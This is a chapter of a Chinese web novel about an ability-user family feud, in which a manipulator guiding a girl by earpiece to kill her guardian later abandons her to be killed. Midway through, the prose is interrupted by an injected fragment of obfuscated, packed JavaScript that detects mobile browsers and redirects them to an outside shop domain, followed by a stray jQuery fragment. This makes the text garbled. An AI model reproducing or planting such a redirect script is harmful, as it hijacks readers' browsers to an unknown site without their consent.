怪谈bking的目的是全息游戏。
意识到这一点之后。
易传都有点想笑了。
全息游戏的政策已经持续了将近二十年。
为了防止精神系异能者延伸过去,对于人脑的破坏也好。对着科技公司的卡脖子政策也罢。时代如何变全息游戏的禁止方案总能吻合不同人的利益。
它其下的利益让许多人人想要推动解除但从没有人成功过。
不过怪谈bking这次可能真的会成功,因为她揭穿的真相触及了敏感的命脉,完全可以用舆论声势逼迫法案的推动。
可惜怪谈bking的计划并非没有漏洞。
易传匆忙给祁连天留了言。
“听我说。
这件事没有想象的难以解决。
怪谈bking的计划需要建立在,祁愿真的能杀掉你的基础上。
只有这样才能削弱世家的实力,才不用担心揭穿真相后你的反扑。
可事实是,祁愿压根杀不了你。”
祁连天,她的异能她的履历真正在战争的磨砺出来的。
祁愿怎么可能杀得了祁连天?
事情不是没有转机。
“稍等片刻,你记得在网上作为星区区长发声。
我会把你包装成一个恐怖袭击的受害者——”
——然后,我会杀了怪谈bking。
如果怪谈bking死了,这次袭击也可以肆意歪曲反正督察调查也不是不能操作。
后半句没有说完,通讯戛然而止。
易传最后看了眼监控。
监控中不管外头是如何层层包抄,祁愿都到达了终点推开了祁连天办公室的门。
伴随着祁愿的进入,祁连天也挂掉了通讯。
易传这里只有一片安静。
她慢慢呼出了原本郁结的气,转身离开监控室,准备前往祁连天的别墅。
她这次去是为了看到祁愿的尸体。
以及目睹怪谈bking的死亡。
……
祁愿推门而入。
办公室宽阔又空,到处都是红木或者丝绒,偶尔有技术含量的科技设施都被涂上恰当颜色的清漆,以图不破坏整体装饰。
里头最中间有着庞大的办公桌和后头高高的书架
祁连天一个人坐在办公桌后面办公桌被灯照得敞亮她本人却是隐在阴影中。
祁连天看着她意
外道:“祁愿?你……”
随即祁连天就意识到现在的情况:“来杀我的人竟然是你。”
“我……”
祁愿的话没说完便被打断。
“原来是这样那孤儿院坐标也是你暴露出去的?”祁连天满目都是不耐双臂交叉。
“是我但是您告诉我、那孤儿院真的像您说的一样是——”恐怖分子吗?
“蠢货!”
祁愿的话又一次被粗暴打断。
“你把位置告诉怪谈bking了对不对?今晚的行动已经失败了万一调查出来牵扯到祁家怎么办?”
祁愿没忍住后撤了一步她下意识揉搓了下眼睛想表现尽量松散的不在乎的表情她静静闭了闭眼睛。
“从小到大我们都教你要担负起你身份的责任家里头的事情也从来没有避讳着你。
结果你却反手捅了家族一刀。你真是让人失望极端不负责你辜负了多少人?”
其实她每一条都能反驳但每一条都不允许她反驳。
“祁愿你身体里头到底流的是谁的血?”
“……”
祁愿睁开眼睛看着祁连天她还是坐在原位抱起的双臂变强的音调以及后仰倾斜的身体无一不展现她的愤怒。
这种一坐一立的位置和以及不断被指责的经历都似曾相识不断与过往的记忆重合。
“你这次真是酿成了大祸你但凡有点良心就应该回去杀掉怪谈bking结束这场闹剧。”祁连天继续说道、指责、冷眼相待。
祁愿忽然觉得有点恶心忍不住攥紧了拳头。
“够了。”她低声道。
“你说什么?”
“我说够了!”祁愿迫使自己抬起肩膀站得笔直强迫自己看向祁连天的眼睛冷声道。
不需要有任何胆怯她只需要听怪谈bking的话她告诉她真相也一定会带着她通往成功。
她没忘记自己来此的目的杀了祁连天。
祁愿看着祁连天她也没什么可怕的。
看着她臃肿的样子面部涨红指责她的样子祁愿很难想到她当军人的风采依旧获得功勋的样子……
祁愿直接选择扭曲了祁连天腿部的空气企图连着腿部也拧断。
像是祁连天对她的教育
但祁连天站起来一跳轻而易举躲开了连考量异能使用
空间的功夫都不需要,超乎意料的灵活:“对,你是来杀我的——”
同时,祁连天也没直接落在身后的地面上,而是在动作奇异的一个拐弯,撑着桌子扫落一地书籍电子设施,落到另一个位置。
祁连天往身后看,她没落脚的位置,地板正扭曲着破裂着。这是祁愿的连环计。
祁连天嗤笑一声:“白眼狼。”
祁愿的异能技法都遗传自祁连天,她简直能洞察她的攻击和任何意图。
祁愿抿唇没在乎这一次的失败,直接贴近祁连天直接使用枪支。
同样的异能她清楚弱点,在贴紧的情况下,防止误伤,空间扭曲也会受到限制。同时,祁愿注意着脚步奔跑落地的动作,防止祁连天用异能扭断她的脚控制住行动。
但她没有成功,刚一上前,持枪那一方的胳膊就被桎梏在原地,伴随着空间的波动扭曲,她的胳膊也被扭曲着扯下来。
肌腱和骨骼都因为空间的扭曲而断裂,这种空间扭曲导致的手臂畸变甚至有着丰富的音色层次。
嘎吱嘎吱血流了一地。
这是祁连天的异能——和她一样的空间异能。
祁愿的动作停了下,不是因为疼痛,刚刚祁连天明明可以把她的头拧爆,却依然选择了把胳膊扯下,简直是恶意的嘲弄。
祁连天的任何攻击她几乎都躲避不过。
“你只注意了腿脚,是因为我教你,攻击时候要先让敌人失去行动能力吗?”
祁连天走上前,准备给出最后一击:“你好像从小到大都是这样子,只会按照指示做事……真好猜。”
但祁连天一靠前,祁愿直接拖着断掉的胳膊上来扑上来。
“嘭——”
身体沉闷被按倒地上的声音。
祁连天还没来得及做出反应,身后高大的能笼罩整个人的书架就猛地散架朝着她们倾倒,后头的书噼里啪啦全部落下。
连带着祁连天也被压在了地上。
祁连天完全没想到祁愿会这么做,这一下,不来源于任何祁连天传授的技法。
她也没来得及做出什么反应,她和祁愿相比,太久没有从事过战斗,身体已经跟不上大脑的速度,反应过来的时候已经被牵制住了动作。
刚刚从书堆里头挣脱出来,下一秒,祁愿的手就死死掐住了她的脖子。
“我又为什么不能杀你?”祁愿弓着背压迫着祁连天,掐着祁连天的脖子,不断挤压她的生存空间。
她感受到手底下脉搏的跳动,她的指
尖似乎触及了死亡的边缘。祁连天压根没有她想的那么可怕。
祁愿低低道:“我的亲生母亲为了我而死,我的过去每时每刻不再受到压迫,你是我痛苦的根源。我为什么、现在不能杀了你?”
这句话落下,但原本挣扎的声音都消失了。
祁连天一愣,连反抗都没有,只是莫名其妙看着祁愿。
“为了你而死?……她、怪谈bking?原来是这么告诉你的?”
祁连天流露出某种极端不协调的表情,看上去就像是怪异的面具。她一向比较严肃,现在有种快要笑出来的滑稽感,终于,她忍不住笑了出来。
被掐着脖子的笑声发哑,但足够刺耳。
“太可笑了。我还以为你是知道了,我计划杀掉你,把异能转换到祁礼身上,才决定出手……”
“结果居然是,为了复仇?”
“天啊,为了救你而死,你怎么会这么以为啊祁愿。
太好笑了。她死的原因很简单,只是因为知道的太多了。”
“我还以为,你终于想要为自己做一些事情,结果你的动力居然是为了别人复仇,为了怪谈bking的话……”
“祁愿,你知道为什么我们一直说,你母亲是为了家族而死,而不是为了你死?”
“是因为用家族比较好控制吗?才不是,而是因为,压根不会有任何人会为了你去死。”
祁连天注视着祁愿一点点收缩的瞳尖,滑稽到连异能都短暂地忘记了使用,她毫不留情地说出了最后的真相:“怪谈bking在骗你。”
“不会有任何一个人愿意为了你付出。”
“怪谈bking也一样。”
祁连天的声音被打断,最后只能吐出来气音,她整张脸都开始发涨发红。
“明明是你在骗我。”祁愿不断收紧手指,哪怕她知道,怎么用力才能轻易让脖颈折断,她却迟迟无法真正用力,只是一味重复着否定的话。
祁连天说不出话,讽刺地看着她,一点一点往外头挤着:“看看吧,看看怪谈bking想怎么利——”
“不。”
才不会……
怪谈bking绝对不一样。
就算没有人对她真正好过,就算她的出生就是一场利益的结晶,怪谈bking也绝对不会这么对她。
祁愿眼眶通红,忍不住抬手捂住胸口,大脑沉浸一片茫然的混沌中。她跪坐在血泊之中,祁连天和她的血液混杂在一起,血流了一地。连意识都因为黏糊
的血液而游离身体存在。
祁愿回神,猛地发现,在祁连天说完最后一个字之前,她已经下手扭断了祁连天的脖子。
窒息的时候,压根不会咳嗽,祁连天的脖子安静地断掉了。祁连天的意识、事先、气息仿佛还在身侧,但祁愿无比清晰的意识到了一个事实——
她杀了祁连天。
真正的。
祁连天死了。
外头到处都是鸣笛的喧闹,还有不断包围过来的脚步声,最终有脚步重新在门口落定。
祁愿轻轻咳嗽了声,对耳机说:“老师,祁连天死了。”
别墅外头,易传刚刚到楼下。
已经聚了不少人,等待着进一步的指挥。人数问题,考虑到伞层层叠叠妨碍行动,安保部调来了电子脉冲的设备防止落雨。
“怎么不进去?”易传上前问。
“祁女士事先交代我们,有她指令再进去。”带头的保卫回答。
“……”易传抬头看了眼对应的位置。
不对劲,按照易传的估算,现在祁连天应该已经杀掉祁愿了。
那祁连天怎么可能现在还不交代?
易传呼吸加快。
祁连天……还活着吗?
“不对——你们快上去、等等,先别上。”易传猛地命令又快速制止。
周围的人显得有点莫名其妙。
“再等等。”
易传来回踱步,如果祁连天真的死了……那还能怎么办?冷静一下,想一想。
等等、就算祁连天死了,她积攒的势力还在。
祁愿不管怎么说,还姓祁。
在祁连天死后,她就是唯一的空间系异能者,就算现在她被怪谈bking迷惑,也一定能找到自己的位置。
“我先上去确定,等等你们在跟上来。”易传留下这句话,进入了别墅。
——
协会角落,雨滴答滴答得一点点浸润着草香。
安命听着老会长嘴里头的不可能,歪了歪头,道:“没什么不可能的。”
老会长没朝安命解释一大堆来纠正她狂妄的思想。
只是因为情绪问题,咳嗽了两声:“更何况,故事中,有一个问题。”
“什么问题?”安命问。
“即使故事中,能杀掉胖子,讲故事的人可以靠着故事操控声势。
胖子留下的底蕴也绝不是那么容易撼动。就像是,没人会觉得杀了裁判游戏就能公平。
孩子,我应该可以这么称
呼你。你知道吗?在古时候,挑起争端,折磨听众的吟游诗人下场总是饿死街头。
因为她们四处游荡,没有根基,没有能力,只有一张嘴。
老会长语气平淡,如果这句话不是在讽刺安命,那应该会更加温和。
听着老会长的话,安命有点出神。
雨滴答滴答落下,溅起的雨点会沾湿一点裸露的皮肤,带走一点体温。
有点冷。
安命看着老会长,虽然老会长才是坐轮椅的,但因为异能,说不定老会长的体质才是更好的那一方。
安命想了想,补充道:“这么严肃吗?
……嗯,我的故事还没有讲完。毕竟您说的只是您续写的而已。
“在之后,讲故事的人明白,想要大家都有苹果,揭穿高个子和胖子的阴谋还不够,还需要把规则推翻。
不过,把规则推翻也不够。因为胖子和高个子积攒下来的底蕴,足够她们贿赂或者雇佣足够的人,继续圈定苹果树为私有。
“对于一个童话故事来说,是不是有点复杂?安命问。
安命看见会长没有任何评价,只是静静注视着她,四目相对之间,周围只有湿润的风声,以及刮蹭着树木哗啦作响的声音。
安命继续说道:“所以,最好让胖子一点家产底蕴甚至后代都不留下。
“这样吗?老会长也在留意着雨。
伴随着黑珍珠星的降温,这大概是雨季最后一场雨……等等轮椅应该有点难走。
她觉得听怪谈bking说话简直是在浪费时间。
人家积攒多少年的势力哪里是说终结就终结的,这牵扯的关系绝对不是童话故事能够概说。这种好笑之下,她越发有了种,果然是小孩子的感觉。
老会长也不介意多说两句:“所以呢?杀了胖子吗,杀了胖子,她的家族她的势力也不是那么容易解决的。
“对,杀了胖子还不够。
“所以,如果胖子的孩子死掉,那事情就简单多了。安命用一种近似轻描淡写的语气道。
“靠着异能流传的家族,把异能终结,家族才算是真正结束吧。
安命说:“胖子的后代一个都不会留下来。
她的声音比雨水汇入水面也重不了多少。
老会长原本闲适的表情一收,骤然抬头看向安命。
安命攥了下口袋的中的耳机。
放在口袋里头的耳机或许发出过声音,或许没有。
也不那么重要
。
——
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744913|145226||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“老师?祁愿轻轻呼唤着。
对面什么声音都没有。
祁愿站起来按照祁连天的习惯寻找着治疗包的位置,进行了基础的止血止痛,这期间,耳机对面依旧什么声音都没有。
祁愿意识到了两分不对劲,协会的安保一定包抄了过来,她相信,如果怪谈bking在,按照怪谈的指挥,逃出去不是什么难题。
但怪谈bking没有丝毫回应,只有她一个人在天罗地网的包围之下。
祁愿隔着窗户,能模模糊糊听见下头人群的声音,不大,不如说分外有纪律,只有偶尔的踏步以及领头者的命令声,蓄势待发。
祁愿忍不住想起别墅的电源,别墅灯火通明,找到她并不是一个难事……但是,当时她问,用不用切断电力系统,怪谈bking说不用。
祁连天死前说,怪谈bking,在因为某种目的欺骗她。
“咚——
祁愿的问话没有等来怪谈bking的回应,反而等来了办公室的门被推开的声音。
祁愿的目光从祁连天的尸体上移开,抬起头,看向敞开的门。
她本来以为,会是涌进来的安保、甚至是紧急调过来的军部的人,但事实上,门口只有只有一个人。
穿着粘着血的白色休闲装,那些血渍和灰尘都分外明显,他整个人不堪重负一般依靠在门框边上,看着狼狈的像个尸体。
——祁礼。
“你没死。祁愿看向了他的胸口。
原本胸口的弹孔,似乎被异能转换到了其它地方,避开了致命处进行了止血,留了一口气。
祁礼眼睛抽搐下,他听着这句话,觉得可笑至极:“怎么?你自己做的事情你不知道吗?
“你不是已经知道,我能转移这些伤口位置了吗?那当初为什么不枪击我的心脏,而是另一侧?
祁礼审视着祁愿丢了一个胳膊的狼狈样子,问:“你是太自信了吗?祁愿。
不,不是自信。
那是按照怪谈bking指挥做出的事情。
怪谈bking让她打向右胸口,她没有怀疑地相信了这一点。
祁愿没有回答,只是动作有点迟滞地站起转身,看向祁礼的方向:“那你现在是来干什么?杀了我吗?
她的问话有点多余,因为祁礼已经抬起了枪。祁愿盯着枪口,里头黑洞洞的。
刚刚所有异能都用来调动书架,再词调用异能一定会透支精神力,
祁愿心知肚明,这种情况下,面前的枪口是在宣判她的死亡。
下头灯火通明,面前祁礼正拿着枪对准她……这真的是个巧合吗?
和怪谈bking的每一次对话都在脑中快速回放,曾经自然无比的事情现在好像每一句都透着蹊跷。
从一开始的网上的信息交谈,她问怪谈bking:您觉得,这样子好吗?
向别人交付信任,任由别人控制,对于一个独立的人来说,怎么可能是好事?
但怪谈bking依然说,这是珍贵的品格。
——因为只有她有这种性格,她才能肆意操控她。
为什么在潜入的过程中,怪谈bking要一遍遍强调她的指挥权?为什么在生死关头,怪谈bking没有解释原因,而是直接让她向左向右?
如果说,是为了防止掉下来的吊灯砸到她,那其实只要简单交代不要站在中间就行了,而不用让她特地呆在危险的楼梯口。
只是为了让她单纯的,不加思考地履行怪谈bking的命令。
为什么在电控系统那里,没有让她破坏?为什么在祁礼倒下的时候,没有让她射向心脏?
一切一切,缜密通向了现在,属于她的死局。
在她和怪谈bking交谈的最后,最后,那句“把时间留给你们自己。”压根不是给自己留私人空间,而是送她去死的宣言。
祁愿如坠冰窟。
“……老师?”祁愿颤巍巍重复着问了一遍,那边还是死寂无声。
耳机的那边一片死寂。
断开了链接。
别墅内部。
易传在别墅中一路走过来,看到了无数枪弹留下的灰色灼烧的痕迹,还有横倒的尸体。破碎的玻璃吊灯,以及扯战斗中撕裂的布帘。
直到她到了办公室门口,看到了门口的依靠着的白衣服和血液糊成一团的人影。
“祁愿和祁礼都在里头吗?”易传一愣。
祁愿和祁礼都在,易传并不认为这是一个巧合。
她们现在明显在对峙,这也不对劲。退一步来说,怪谈bking难道没有替祁愿谋划退路吗?
怪谈bking在这方面疏忽了吗?
易传眯了眯眼睛,猛地意识到怪谈bking的目的。
或许并不是简单杀了祁连天,而是让祁礼与祁愿自相残杀,祁家这一脉都不留下任何一个活人。
——
“断子绝孙,没有后代,如此才能安下心。”
原来老会长骤然抬起眼睛,直视起安命,就像是湿冷的空气袭卷侵袭皮肤,让她暴露在外的皮肤有点鸡皮疙瘩。
伴随着安命讲述,系统也猛地意识到一个事实。
如果有眼睛,那一定会惊恐地看着安命——和她口袋里头,已经关机的耳机。
【你这是在送祁愿去死!】系统瞬间理解了一切,现在是彻彻底底的毛骨悚然。
不过,安命已经让她断开了和祁愿的链接。
【你怎么能这么做?有点太过分了!你难道不知道祁愿有多可怜吗?她以为自己是承担责任的骄傲,最后却知道……她那么相信你……】系统有点口不择言。
“你真的……老会长原本血液流淌缓慢微弱的颈部血管也抽动了一下。
“没关系,如果想要获得成功,那么任何钝痛都在所难免。安命平静地说。
不知道是在回答来会长,还是在回答系统。
安命曾经劝祁愿说,如果想要成功,那么任何钝痛都在所难免
安命自己也是这么以为的。
更别提,这连钝痛都谈不上。
“就算如此、就算如此,你又怎么敢确认,你能操控全部舆论?难道异能协会这些年养的人都是吃白饭的吗?能让那么大一个网络阵地被你占据?
老会长的语调快了起来,原本的和善荡然无存,简直更接近咄咄逼人的逼问。
安命走上前,微微弯腰撑着伞替会长遮了下被风吹过来的雨,伞角度的倾斜,反而让安命本身暴露在了雨下。
她的眼睛在雨下,就像是深潭的黑影,存在别人猜测中的怪物。
“我说了,不用这么急。
她缓缓道。
“我喜欢讲故事的原因就是,故事中从来没有忽然而至的高潮,只有不断安排的情节。
安命说着,打开了光脑的投影功能,让网上的情况每一条都在雨幕中显现。
是恐怖袭击的最新进展。
之前安命的舆论造势中培养的人才现在全部冒了出来,快速地把高层腐败的关键词和先前怪谈bking的事件联系在了一起。
以及审讯的最新进度,有人爆出,在这场针对平民学校的袭击中,组织者的要求是——模仿怪谈bking的怪谈。
联邦上层,在利用无辜平民,想要屠杀上百孤儿,来达成某种目的。
这件事就是一场彻头彻尾的栽赃。
高层腐败,窝里斗,对着新星的栽赃嫁祸……种种关键词被联系在了一起,联邦